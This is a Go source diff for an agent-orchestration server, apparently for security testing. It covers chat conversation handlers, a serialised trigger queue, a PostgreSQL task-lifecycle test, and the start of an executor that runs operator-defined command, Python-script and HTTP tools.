if err := pg.DeleteConversation(c.ID); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"deleted": c.ID})
|
||||
}
|
||||
|
||||
func (s *Server) convBusyKey(id int64) string { return "conv-" + strconv.FormatInt(id, 10) }
|
||||
|
||||
// pgConversationMessages returns steps after ?since=cursor plus whether a turn is
|
||||
// still running (so the client knows to keep polling). Same item shape as the task
|
||||
// activity stream, so the frontend transcript renderer is reused verbatim.
|
||||
func (s *Server) pgConversationMessages(w http.ResponseWriter, r *http.Request) {
|
||||
pg, c, ok := s.convByID(w, r)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
since, _ := strconv.ParseInt(r.URL.Query().Get("since"), 10, 64)
|
||||
items, cursor, err := pg.ConvActivityList(c.ID, since, 0)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
s.chatMu.Lock()
|
||||
running := s.chatBusy[s.convBusyKey(c.ID)]
|
||||
s.chatMu.Unlock()
|
||||
writeJSON(w, 200, map[string]any{"items": activityDTOs(items), "cursor": cursor, "running": running})
|
||||
}
|
||||
|
||||
// pgConversationMsgDetail lazily returns one step's full detail blob.
|
||||
func (s *Server) pgConversationMsgDetail(w http.ResponseWriter, r *http.Request) {
|
||||
pg, c, ok := s.convByID(w, r)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
seq, ok := pathInt(r, "seq")
|
||||
if !ok {
|
||||
writeErr(w, 400, "bad seq")
|
||||
return
|
||||
}
|
||||
detail, err := pg.ConvActivityDetail(c.ID, seq)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"detail": detail})
|
||||
}
|
||||
|
||||
// pgStopConversation aborts the in-flight run for one conversation (manual stop —
|
||||
// the run/stop button in the chat UI). It cancels only THIS session's agent run;
|
||||
// the P3 trigger queue is untouched, so the agent's next queued fire still starts.
|
||||
func (s *Server) pgStopConversation(w http.ResponseWriter, r *http.Request) {
|
||||
_, c, ok := s.convByID(w, r)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
busyKey := s.convBusyKey(c.ID)
|
||||
s.chatMu.Lock()
|
||||
cancel := s.chatCancel[busyKey]
|
||||
s.chatMu.Unlock()
|
||||
if cancel == nil {
|
||||
writeJSON(w, 200, map[string]any{"status": "idle"}) // nothing running
|
||||
return
|
||||
}
|
||||
cancel()
|
||||
writeJSON(w, 200, map[string]any{"status": "stopping"})
|
||||
}
|
||||
|
||||
// pgSendConversationMessage persists the human turn, then runs the agent in the
|
||||
// background (steps stream to conversation_activities, polled by the client). One
|
||||
// in-flight turn per conversation.
|
||||
func (s *Server) pgSendConversationMessage(w http.ResponseWriter, r *http.Request) {
|
||||
pg, c, ok := s.convByID(w, r)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var req struct{ Message string }
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
msg := strings.TrimSpace(req.Message)
|
||||
if msg == "" {
|
||||
writeErr(w, 400, "消息不能为空")
|
||||
return
|
||||
}
|
||||
ca := s.chatAgentRef()
|
||||
if ca == nil {
|
||||
writeErr(w, 503, "LLM 未配置，无法对话")
|
||||
return
|
||||
}
|
||||
|
||||
busyKey := s.convBusyKey(c.ID)
|
||||
s.chatMu.Lock()
|
||||
if s.chatBusy[busyKey] {
|
||||
s.chatMu.Unlock()
|
||||
writeErr(w, 409, "该会话正在处理上一条消息，请稍候")
|
||||
return
|
||||
}
|
||||
s.chatBusy[busyKey] = true
|
||||
s.chatMu.Unlock()
|
||||
|
||||
// persist + float the human turn; auto-title the thread from the first message.
|
||||
// Worker is the agent key (not "user") so the transcript stays a single lane
|
||||
// (no worker chips) — the kind='user' already right-aligns it as a human bubble.
|
||||
if _, err := pg.AppendConvActivity(c.ID, db.Activity{Worker: c.AgentKey, Kind: "user", Summary: firstLine(msg, 200), Detail: msg}); err != nil {
|
||||
log.Printf("[conv %d] append user msg failed: %v", c.ID, err)
|
||||
}
|
||||
if c.Title == "" || c.Title == "新对话" {
|
||||
_ = pg.RenameConversation(c.ID, firstLine(msg, 40))
|
||||
}
|
||||
_ = pg.TouchConversation(c.ID)
|
||||
|
||||
s.runConversation(c, msg, busyKey)
|
||||
writeJSON(w, 202, map[string]any{"status": "accepted"})
|
||||
}
|
||||
|
||||
// runConversation runs ONE agent turn on a conversation in a background goroutine
|
||||
// (each conversation is independent → parallel). Steps stream to
|
||||
// conversation_activities. Shared by the chat HTTP handler and the P3 scheduler.
|
||||
// busyKey clears when the run ends (best-effort in-flight marker).
|
||||
func (s *Server) runConversation(c *db.Conversation, msg, busyKey string) {
|
||||
go s.runConversationSync(c, msg, busyKey)
|
||||
}
|
||||
|
||||
// runConversationSync runs ONE agent turn on a conversation and BLOCKS until the
|
||||
// run ends (clearing busyKey). runConversation wraps it in a goroutine for the
|
||||
// fire-and-forget chat path; the P3 trigger queue calls it directly so it can wait
|
||||
// for completion before starting the next queued fire for the same agent.
|
||||
func (s *Server) runConversationSync(c *db.Conversation, msg, busyKey string) {
|
||||
// Per-run cancellable context so a manual stop (pgStopConversation) can abort
|
||||
// just this session. Registered under chatMu so the stop handler can find it.
|
||||
ctx, cancel := context.WithCancel(intercept.WithConvID(s.ctx, c.ID))
|
||||
s.chatMu.Lock()
|
||||
s.chatCancel[busyKey] = cancel
|
||||
s.chatMu.Unlock()
|
||||
defer func() {
|
||||
cancel()
|
||||
s.chatMu.Lock()
|
||||
delete(s.chatBusy, busyKey)
|
||||
delete(s.chatCancel, busyKey)
|
||||
s.chatMu.Unlock()
|
||||
}()
|
||||
ca := s.chatAgentRef()
|
||||
if c.LLMProfileID != nil {
|
||||
if pa := s.chatAgentForProfile(*c.LLMProfileID); pa != nil {
|
||||
ca = pa
|
||||
}
|
||||
}
|
||||
if ca == nil {
|
||||
return
|
||||
}
|
||||
pg := s.m.pg
|
||||
maxTurns := s.agentMaxTurns(c.AgentKey)
|
||||
maxDuration := time.Duration(s.agentRunSeconds(c.AgentKey)) * time.Second
|
||||
webSearch := false
|
||||
if a, err := pg.GetAgentByKey(c.AgentKey); err == nil && a != nil {
|
||||
webSearch = a.WebSearch
|
||||
}
|
||||
sessionID := s.convBusyKey(c.ID) // "conv-<id>" transcript session
|
||||
emit := func(rec db.Activity) {
|
||||
if _, err := pg.AppendConvActivity(c.ID, rec); err != nil {
|
||||
log.Printf("[conv %d] append activity failed: %v", c.ID, err)
|
||||
}
|
||||
}
|
||||
// On a manual stop ctx is cancelled; Chat already emits a clean "已手动停止"
|
||||
// step, so skip the raw-error entry — only surface genuine failures.
|
||||
if _, err := ca.Chat(ctx, c.AgentKey, sessionID, msg, maxTurns, maxDuration, webSearch, emit); err != nil && ctx.Err() == nil {
|
||||
_, _ = pg.AppendConvActivity(c.ID, db.Activity{Worker: c.AgentKey, Kind: "text", IsError: true,
|
||||
Summary: "（出错：" + err.Error() + "）", Detail: err.Error()})
|
||||
}
|
||||
_ = pg.TouchConversation(c.ID)
|
||||
}
|
||||
|
||||
// StartTriggeredRun enqueues a P3 trigger fire for agentKey. Fires for the SAME
|
||||
// agent queue up and run one at a time (FIFO) — the next only starts after the
|
||||
// previous conversation finishes. Distinct agents still run concurrently. taskID +
|
||||
// mergeable let the drainer coalesce same-task event triggers before a run starts.
|
||||
func (s *Server) StartTriggeredRun(agentKey, title, message string, taskID int64, mergeable bool) {
|
||||
if s.m.pg == nil || s.chatAgentRef() == nil {
|
||||
return
|
||||
}
|
||||
s.queueMu.Lock()
|
||||
s.triggerQ[agentKey] = append(s.triggerQ[agentKey], triggeredRun{agentKey: agentKey, title: title, message: message, taskID: taskID, mergeable: mergeable})
|
||||
depth := len(s.triggerQ[agentKey])
|
||||
if !s.triggerRun[agentKey] {
|
||||
s.triggerRun[agentKey] = true
|
||||
go s.drainTriggerQueue(agentKey)
|
||||
} else {
|
||||
log.Printf("[trigger] %s busy → queued (depth %d)", agentKey, depth)
|
||||
}
|
||||
s.queueMu.Unlock()
|
||||
}
|
||||
|
||||
// drainTriggerQueue runs one agent's queued trigger fires serially until the queue
|
||||
// empties, then clears the active flag. Before each run it coalesces all queued
|
||||
// finding/goal fires from the SAME task into one conversation (nextTriggerRun), so a
|
||||
// burst of a task's events becomes a single session. A panic is contained.
|
||||
func (s *Server) drainTriggerQueue(agentKey string) {
|
||||
for {
|
||||
s.queueMu.Lock()
|
||||
if len(s.triggerQ[agentKey]) == 0 || s.ctx.Err() != nil {
|
||||
delete(s.triggerQ, agentKey)
|
||||
delete(s.triggerRun, agentKey)
|
||||
s.queueMu.Unlock()
|
||||
return
|
||||
}
|
||||
item := s.nextTriggerRun(agentKey)
|
||||
s.queueMu.Unlock()
|
||||
|
||||
s.runTriggeredRun(item)
|
||||
}
|
||||
}
|
||||
|
||||
// nextTriggerRun pops the head of the agent's queue; if the head is a mergeable
|
||||
// (finding/goal) fire, it also pulls every other queued mergeable fire from the SAME
|
||||
// task and merges them into one run. Caller holds queueMu.
|
||||
func (s *Server) nextTriggerRun(agentKey string) triggeredRun {
|
||||
q := s.triggerQ[agentKey]
|
||||
head := q[0]
|
||||
if !head.mergeable || head.taskID == 0 {
|
||||
s.triggerQ[agentKey] = q[1:]
|
||||
return head
|
||||
}
|
||||
group := []triggeredRun{head}
|
||||
rest := q[:0:0] // keep non-matching items in order
|
||||
for _, it := range q[1:] {
|
||||
if it.mergeable && it.taskID == head.taskID {
|
||||
group = append(group, it)
|
||||
} else {
|
||||
rest = append(rest, it)
|
||||
}
|
||||
}
|
||||
s.triggerQ[agentKey] = rest
|
||||
return mergeTriggeredRuns(group)
|
||||
}
|
||||
|
||||
// mergeTriggeredRuns folds several same-task event fires into one run: a header plus
|
||||
// each fire's message, so the agent handles the task's burst in a single conversation.
|
||||
func mergeTriggeredRuns(items []triggeredRun) triggeredRun {
|
||||
if len(items) == 1 {
|
||||
return items[0]
|
||||
}
|
||||
first := items[0]
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "【本会话合并了任务 #%d 的 %d 条触发事件，请一并处理】\n", first.taskID, len(items))
|
||||
for i, it := range items {
|
||||
fmt.Fprintf(&b, "\n── 触发 %d ──\n%s\n", i+1, it.message)
|
||||
}
|
||||
return triggeredRun{
|
||||
agentKey: first.agentKey,
|
||||
title: fmt.Sprintf("合并触发 · task#%d · %d 条", first.taskID, len(items)),
|
||||
message: b.String(),
|
||||
taskID: first.taskID,
|
||||
mergeable: true,
|
||||
}
|
||||
}
|
||||
|
||||
// runTriggeredRun creates the conversation for one queued fire, records the human
|
||||
// turn, and runs it synchronously (blocks until the run ends). recover keeps a
|
||||
// panic from killing the drain loop and wedging the agent's queue.
|
||||
func (s *Server) runTriggeredRun(item triggeredRun) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[trigger] run for %s panicked: %v", item.agentKey, r)
|
||||
}
|
||||
}()
|
||||
pg := s.m.pg
|
||||
c, err := pg.CreateConversation(item.agentKey, firstLine(item.title, 60), nil)
|
||||
if err != nil {
|
||||
log.Printf("[trigger] create conversation for %s failed: %v", item.agentKey, err)
|
||||
return
|
||||
}
|
||||
if _, err := pg.AppendConvActivity(c.ID, db.Activity{Worker: item.agentKey, Kind: "user", Summary: firstLine(item.message, 200), Detail: item.message}); err != nil {
|
||||
log.Printf("[trigger] append msg failed: %v", err)
|
||||
}
|
||||
busyKey := s.convBusyKey(c.ID)
|
||||
s.chatMu.Lock()
|
||||
s.chatBusy[busyKey] = true
|
||||
s.chatMu.Unlock()
|
||||
s.runConversationSync(c, item.message, busyKey)
|
||||
}
|
||||
|
||||
// firstLine returns a single-line, length-capped preview (shared with summaries).
|
||||
func firstLine(s string, max int) string {
|
||||
s = strings.TrimSpace(s)
|
||||
if i := strings.IndexAny(s, "\r\n"); i >= 0 {
|
||||
s = s[:i]
|
||||
}
|
||||
if len([]rune(s)) > max {
|
||||
s = string([]rune(s)[:max]) + "…"
|
||||
}
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strconv"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// TestCoreTaskLifecyclePG exercises the migrated core (tasks/exploration on PG)
|
||||
// through the real HTTP mux: create → goal nodes seeded → list → delete cascade.
|
||||
func TestCoreTaskLifecyclePG(t *testing.T) {
|
||||
m, err := NewManager(t.TempDir(), "")
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v) — skipping", err)
|
||||
}
|
||||
defer m.Close()
|
||||
td := t.TempDir()
|
||||
s := New(context.Background(), m, td, td)
|
||||
h := s.Handler()
|
||||
tok, err := signJWT(s.jwtKey)
|
||||
if err != nil {
|
||||
t.Fatalf("sign jwt: %v", err)
|
||||
}
|
||||
|
||||
do := func(method, path string, body any) (int, map[string]any) {
|
||||
var r *http.Request
|
||||
if body != nil {
|
||||
b, _ := json.Marshal(body)
|
||||
r = httptest.NewRequest(method, path, bytes.NewReader(b))
|
||||
} else {
|
||||
r = httptest.NewRequest(method, path, nil)
|
||||
}
|
||||
r.Header.Set("Authorization", "Bearer "+tok)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, r)
|
||||
var out map[string]any
|
||||
json.Unmarshal(rec.Body.Bytes(), &out)
|
||||
return rec.Code, out
|
||||
}
|
||||
|
||||
// doRetry retries on 5xx (transient DB conflicts from parallel test packages).
|
||||
doRetry := func(method, path string, body any) (int, map[string]any) {
|
||||
var code int
|
||||
var out map[string]any
|
||||
for i := 0; i < 5; i++ {
|
||||
code, out = do(method, path, body)
|
||||
if code < 500 {
|
||||
break
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
}
|
||||
return code, out
|
||||
}
|
||||
|
||||
// create a task → 201, returns PG task (string id + exploration_id)
|
||||
code, out := doRetry("POST", "/api/tasks", map[string]string{"description": "smoke", "goal": "测试 SQLi/XSS"})
|
||||
if code != 201 {
|
||||
t.Fatalf("create task: %d (%v)", code, out)
|
||||
}
|
||||
id, _ := out["id"].(string)
|
||||
expID := int64(out["exploration_id"].(float64))
|
||||
if id == "" || expID == 0 {
|
||||
t.Fatalf("bad task payload: %v", out)
|
||||
}
|
||||
|
||||
// the exploration owns goal node(s) — goal seeding is async, poll briefly
|
||||
var goals []*db.Node
|
||||
for i := 0; i < 30; i++ {
|
||||
goals, err = m.pg.Exploration(expID).ListByKind("goal", 10)
|
||||
if err != nil || len(goals) > 0 {
|
||||
break
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(goals) < 1 {
|
||||
t.Fatalf("expected goal nodes seeded, got %d", len(goals))
|
||||
}
|
||||
|
||||
// it shows in the task list
|
||||
code, out = doRetry("GET", "/api/tasks", nil)
|
||||
if code != 200 {
|
||||
t.Fatalf("list tasks: %d", code)
|
||||
}
|
||||
|
||||
// delete → cascade removes the exploration subgraph
|
||||
code, _ = doRetry("DELETE", "/api/tasks/"+id, nil)
|
||||
if code != 200 {
|
||||
t.Fatalf("delete task: %d", code)
|
||||
}
|
||||
nid, _ := strconv.ParseInt(id, 10, 64)
|
||||
if got, _ := m.pg.GetTask(nid); got != nil {
|
||||
t.Fatalf("task should be deleted from PG")
|
||||
}
|
||||
var n int
|
||||
m.pg.QueryRow(`SELECT count(*) FROM exploration_nodes WHERE exploration_id=$1`, expID).Scan(&n)
|
||||
if n != 0 {
|
||||
t.Fatalf("exploration nodes should be cascade-deleted, got %d", n)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,543 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/norma/permission"
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// 本文件实现自定义工具执行器(docs/自定义工具设计.md)。system=false 的 tools 行按
|
||||
// kind 分派:command(渲染命令→复用 Bash 底层 run)、script(仅 Python;写临时文件、
|
||||
// stdin=参数 JSON + env TOOL_*、用配置的解释器)、http(原生请求+可设代理)。这些工具
|
||||
// 像流量/编排工具一样 seed 不需要(它们本就在 tools 表),经 hostTools 注入、按绑定过滤。
|
||||
|
||||
// ---------- 自定义工具 CRUD ----------
|
||||
|
||||
type customToolReq struct {
|
||||
Key string `json:"key"`
|
||||
Description string `json:"description"`
|
||||
Schema json.RawMessage `json:"schema"`
|
||||
Agents []string `json:"agents"`
|
||||
Enabled bool `json:"enabled"`
|
||||
Kind string `json:"kind"` // command | script | http
|
||||
Exec json.RawMessage `json:"exec"`
|
||||
Deferred bool `json:"deferred"`
|
||||
}
|
||||
|
||||
var reToolKey = reAgentKey // 同 agent key 规则:小写字母开头 + 小写字母/数字/下划线
|
||||
|
||||
func (s *Server) pgCreateCustomTool(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
var req customToolReq
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
req.Key = strings.TrimSpace(req.Key)
|
||||
if !reToolKey.MatchString(req.Key) {
|
||||
writeErr(w, 400, "key 需小写字母开头，仅含小写字母/数字/下划线")
|
||||
return
|
||||
}
|
||||
if req.Kind != "command" && req.Kind != "script" && req.Kind != "http" && req.Kind != "shell" {
|
||||
writeErr(w, 400, "kind 需为 command / script / http / shell")
|
||||
return
|
||||
}
|
||||
if req.Kind == "http" && !hasSchemaProps(req.Schema) {
|
||||
writeErr(w, 400, "http 工具必须提供参数 JSON Schema(不能留空)")
|
||||
return
|
||||
}
|
||||
if exist, _ := pg.GetTool(req.Key); exist != nil {
|
||||
writeErr(w, 409, "该 key 已存在(内置或自定义工具)")
|
||||
return
|
||||
}
|
||||
if err := pg.CreateCustomTool(&db.Tool{
|
||||
Key: req.Key, Description: req.Description, Schema: req.Schema, Agents: req.Agents,
|
||||
Enabled: req.Enabled, Kind: req.Kind, Exec: req.Exec, Deferred: req.Deferred,
|
||||
}); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"key": req.Key})
|
||||
}
|
||||
|
||||
func (s *Server) pgUpdateCustomTool(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
key := r.PathValue("key")
|
||||
existing, err := pg.GetTool(key)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
if existing == nil || existing.System {
|
||||
writeErr(w, 400, "只能编辑自定义工具")
|
||||
return
|
||||
}
|
||||
var req customToolReq
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
if req.Kind != "command" && req.Kind != "script" && req.Kind != "http" && req.Kind != "shell" {
|
||||
writeErr(w, 400, "kind 需为 command / script / http / shell")
|
||||
return
|
||||
}
|
||||
if req.Kind == "http" && !hasSchemaProps(req.Schema) {
|
||||
writeErr(w, 400, "http 工具必须提供参数 JSON Schema(不能留空)")
|
||||
return
|
||||
}
|
||||
if err := pg.UpdateCustomTool(&db.Tool{
|
||||
Key: key, Description: req.Description, Schema: req.Schema, Agents: req.Agents,
|
||||
Enabled: req.Enabled, Kind: req.Kind, Exec: req.Exec, Deferred: req.Deferred,
|
||||
}); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
func (s *Server) pgDeleteCustomTool(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
key := r.PathValue("key")
|
||||
if err := pg.DeleteCustomTool(key); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"deleted": key})
|
||||
}
|
||||
|
||||
// testToolReq is a dry-run request from the editor: run the given (possibly unsaved)
|
||||
// exec spec with sample params, without persisting the tool. Same executor path as a
|
||||
// real tool call — it runs arbitrary command/script/http on the server, which the
|
||||
// custom-tool feature already allows, so no new capability is granted.
|
||||
type testToolReq struct {
|
||||
Kind string `json:"kind"` // command | script | http
|
||||
Exec json.RawMessage `json:"exec"`
|
||||
Params map[string]any `json:"params"`
|
||||
}
|
||||
|
||||
// pgTestCustomTool executes an exec spec once and returns its raw output + error
|
||||
// flag, so the editor can debug a tool before saving it. Per-kind timeouts still
|
||||
// apply from the exec spec (with defaults); the outer ceiling is a hard backstop.
|
||||
func (s *Server) pgTestCustomTool(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
var req testToolReq
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeErr(w, 400, "无效的请求体")
|
||||
return
|
||||
}
|
||||
params := req.Params
|
||||
if params == nil {
|
||||
params = map[string]any{}
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Minute)
|
||||
defer cancel()
|
||||
tc := &actool.ToolContext{WorkingDir: s.m.dir} // run in the project dir, like a real call
|
||||
var res actool.Result
|
||||
switch req.Kind {
|
||||
case "command":
|
||||
res, _ = s.runCommandTool(ctx, req.Exec, params, tc)
|
||||
case "script":
|
||||
res, _ = s.runScriptTool(ctx, "test", req.Exec, params, tc)
|
||||
case "http":
|
||||
res, _ = s.runHTTPTool(ctx, req.Exec, params)
|
||||
case "shell":
|
||||
writeErr(w, 400, "shell 类型工具是 bash 环境声明，无可执行内容")
|
||||
return
|
||||
default:
|
||||
writeErr(w, 400, "未知工具类型: "+req.Kind)
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"output": res.Flatten(), "is_error": res.IsError})
|
||||
}
|
||||
|
||||
// ---------- Python 解释器(检测 + 入库 + 覆盖) ----------
|
||||
|
||||
const settingPythonInterp = "python_interpreter"
|
||||
|
||||
// detectPython finds a python interpreter absolute path (python3 preferred).
|
||||
func detectPython() string {
|
||||
for _, c := range []string{"python3", "python"} {
|
||||
if p, err := exec.LookPath(c); err == nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// pythonInterpreter resolves the interpreter: user-set > stored auto-detect > live
|
||||
// detect. "" only when truly none found.
|
||||
func (s *Server) pythonInterpreter() string {
|
||||
if v, ok, _ := s.m.pg.GetSetting(settingPythonInterp); ok && strings.TrimSpace(v) != "" {
|
||||
return strings.TrimSpace(v)
|
||||
}
|
||||
return detectPython()
|
||||
}
|
||||
|
||||
// seedPythonInterpreter stores the auto-detected interpreter on startup if unset
|
||||
// (never clobbers a user-set value).
|
||||
func (s *Server) seedPythonInterpreter() {
|
||||
if v, ok, _ := s.m.pg.GetSetting(settingPythonInterp); ok && strings.TrimSpace(v) != "" {
|
||||
return
|
||||
}
|
||||
if p := detectPython(); p != "" {
|
||||
_ = s.m.pg.SetSetting(settingPythonInterp, p)
|
||||
log.Printf("[custom-tool] 自动检测到 python 解释器: %s", p)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- exec 规格 ----------
|
||||
|
||||
type commandExec struct {
|
||||
Command string `json:"command"`
|
||||
TimeoutMs int `json:"timeout_ms"`
|
||||
}
|
||||
type scriptExec struct {
|
||||
Code string `json:"code"`
|
||||
TimeoutMs int `json:"timeout_ms"`
|
||||
}
|
||||
type httpExec struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Headers map[string]string `json:"headers"`
|
||||
Body string `json:"body"`
|
||||
TimeoutMs int `json:"timeout_ms"`
|
||||
Proxy string `json:"proxy"`
|
||||
UseRecordingProxy bool `json:"use_recording_proxy"`
|
||||
}
|
||||
|
||||
func timeoutOr(ms, def int) time.Duration {
|
||||
if ms <= 0 {
|
||||
return time.Duration(def) * time.Millisecond
|
||||
}
|
||||
return time.Duration(ms) * time.Millisecond
|
||||
}
|
||||
|
||||
// ---------- 通用工具构造 ----------
|
||||
|
||||
// customTools builds CoreTools for every user-defined (system=false) tool row.
|
||||
// shell-kind tools are environment hints only — they surface in the Bash tool
|
||||
// description via ToolResolve and do NOT create callable tool entries here.
|
||||
func (s *Server) customTools() ([]actool.CoreTool, error) {
|
||||
rows, err := s.m.pg.ListCustomTools()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make([]actool.CoreTool, 0, len(rows))
|
||||
for _, t := range rows {
|
||||
if t.Kind == "shell" {
|
||||
continue // shell hints are handled by ToolResolve → Bash description
|
||||
}
|
||||
out = append(out, s.buildCustomTool(t))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// buildCustomTool turns one custom-tool row into a CoreTool. Empty schema → a thin
|
||||
// {args:string} (薄壳工具), so command/http templates can use {args}.
|
||||
func (s *Server) buildCustomTool(t *db.Tool) actool.CoreTool {
|
||||
schema := ensureSchema(t.Schema)
|
||||
key, kind, execRaw := t.Key, t.Kind, t.Exec
|
||||
run := func(ctx context.Context, in json.RawMessage, tc *actool.ToolContext) (actool.Result, error) {
|
||||
var params map[string]any
|
||||
if len(in) > 0 {
|
||||
_ = json.Unmarshal(in, ¶ms)
|
||||
}
|
||||
if params == nil {
|
||||
params = map[string]any{}
|
||||
}
|
||||
switch kind {
|
||||
case "command":
|
||||
return s.runCommandTool(ctx, execRaw, params, tc)
|
||||
case "script":
|
||||
return s.runScriptTool(ctx, key, execRaw, params, tc)
|
||||
case "http":
|
||||
return s.runHTTPTool(ctx, execRaw, params)
|
||||
default:
|
||||
return actool.Errorf("未知自定义工具类型: " + kind), nil
|
||||
}
|
||||
}
|
||||
return actool.Build(actool.Spec{
|
||||
Name: key, Description: t.Description, Schema: schema,
|
||||
Permissions: func(context.Context, json.RawMessage, permission.Context) permission.Decision {
|
||||
return permission.Allowed()
|
||||
},
|
||||
Run: run,
|
||||
})
|
||||
}
|
||||
|
||||
// hasSchemaProps reports whether raw is a JSON-Schema object with ≥1 property.
|
||||
// http tools require an explicit schema (the auto {args} shell can't name the
|
||||
// {param} placeholders in URL/headers/body), so an empty schema is rejected.
|
||||
func hasSchemaProps(raw json.RawMessage) bool {
|
||||
if len(raw) == 0 {
|
||||
return false
|
||||
}
|
||||
var m map[string]any
|
||||
if json.Unmarshal(raw, &m) != nil {
|
||||
return false
|
||||
}
|
||||
props, _ := m["properties"].(map[string]any)
|
||||
return len(props) > 0
|
||||
}
|
||||
|
||||
// ensureSchema returns the tool's schema, or a thin {args:string} when none given.
|
||||
func ensureSchema(raw json.RawMessage) map[string]any {
|
||||
var m map[string]any
|
||||
if len(raw) > 0 {
|
||||
_ = json.Unmarshal(raw, &m)
|
||||
}
|
||||
props, _ := m["properties"].(map[string]any)
|
||||
if len(props) > 0 {
|
||||
return m
|
||||
}
|
||||
return map[string]any{
|
||||
"type": "object",
|
||||
"properties": map[string]any{
|
||||
"args": map[string]any{"type": "string", "description": "命令/参数(自由文本)"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- command:渲染命令 → 复用 Bash 底层 run ----------
|
||||
|
||||
func (s *Server) runCommandTool(ctx context.Context, execRaw json.RawMessage, params map[string]any, tc *actool.ToolContext) (actool.Result, error) {
|
||||
var spec commandExec
|
||||
_ = json.Unmarshal(execRaw, &spec)
|
||||
if strings.TrimSpace(spec.Command) == "" {
|
||||
return actool.Errorf("command 为空"), nil
|
||||
}
|
||||
cmd := renderTemplate(spec.Command, params, shellQuote)
|
||||
// 复用 Bash 也在用的底层 run(经 Bash CoreTool.Call):自动继承安全 floor/超时/
|
||||
// 代理 env/输出溢出。工具与 Bash 平级、共用底层,不经过 Bash 这个工具让模型调。
|
||||
bashIn, _ := json.Marshal(map[string]any{"command": cmd})
|
||||
if spec.TimeoutMs > 0 {
|
||||
var cancel context.CancelFunc
|
||||
ctx, cancel = context.WithTimeout(ctx, timeoutOr(spec.TimeoutMs, 120000))
|
||||
defer cancel()
|
||||
}
|
||||
return actool.NewBash().Call(ctx, bashIn, tc)
|
||||
}
|
||||
|
||||
// ---------- script(仅 Python):临时文件 + stdin JSON + env ----------
|
||||
|
||||
func (s *Server) runScriptTool(ctx context.Context, key string, execRaw json.RawMessage, params map[string]any, tc *actool.ToolContext) (actool.Result, error) {
|
||||
var spec scriptExec
|
||||
_ = json.Unmarshal(execRaw, &spec)
|
||||
if strings.TrimSpace(spec.Code) == "" {
|
||||
return actool.Errorf("script code 为空"), nil
|
||||
}
|
||||
interp := s.pythonInterpreter()
|
||||
if interp == "" {
|
||||
return actool.Errorf("未配置且未检测到 python 解释器(在系统配置里设置)"), nil
|
||||
}
|
||||
workDir := s.m.dir
|
||||
var sessionEnv []string
|
||||
if tc != nil {
|
||||
if tc.WorkingDir != "" {
|
||||
workDir = tc.WorkingDir
|
||||
}
|
||||
sessionEnv = tc.Env
|
||||
}
|
||||
